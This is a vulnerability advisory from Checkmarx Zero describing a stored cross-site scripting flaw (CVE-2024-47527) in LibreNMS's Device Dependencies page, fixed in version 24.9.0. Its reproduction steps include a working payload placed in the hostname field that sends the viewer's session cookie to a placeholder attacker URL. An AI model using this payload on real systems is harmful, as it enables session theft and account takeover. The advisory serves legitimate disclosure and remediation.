Disclosed vulnerabilities
Fixed: Sep 29, 2024
CVE-2024-47527 Published: Oct 1, 2024

Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Dependencies

7.5 High Severity librenms Stored-XSS XSS
Raphael Silva Reported by Checkmarx Zero

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the “Device Dependencies” feature of the @LibreNMS/LibreNMS project allows authenticated users to inject arbitrary JavaScript through the device name (hostname parameter). This script executes when another user views the Device Dependencies page, potentially redirecting them to attacker-controlled sites and exposing session cookies.

Product

This vulnerability affects LibreNMS versions prior to 24.9.0 in librenms/includes/html/pages/device-dependencies.inc.php.

Impact

This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.

Steps to reproduce

  1. Log into the LibreNMS web interface.

  2. Add a new device with the hostname:

    t'' autofocus onfocus="document.location='https://<attacker_url>/?c='+document.cookie"

  3. Save the device.

  4. Navigate to Device Dependencies.

  5. Observe the browser redirect to the attacker’s URL, carrying the victim’s cookies.

Expected result:

The browser redirects to the attacker-controlled URL (https://<attacker_url>/?c=<victim_cookie>), exfiltrating the user’s session cookie.

Remediation

Fixed in LibreNMS 24.9.0 by escaping row.hostname and constructing HTML elements safely in device-dependencies.inc.php, preventing XSS.

Credit

This issue was discovered and reported by Checkmarx Security Researcher Raphael Silva.

Resources

  1. GHSA-rwwc-2v8q-gc9v
  2. Fix commit
  3. NVD entry for CVE-2024-47527

Stay connected and never miss a research update!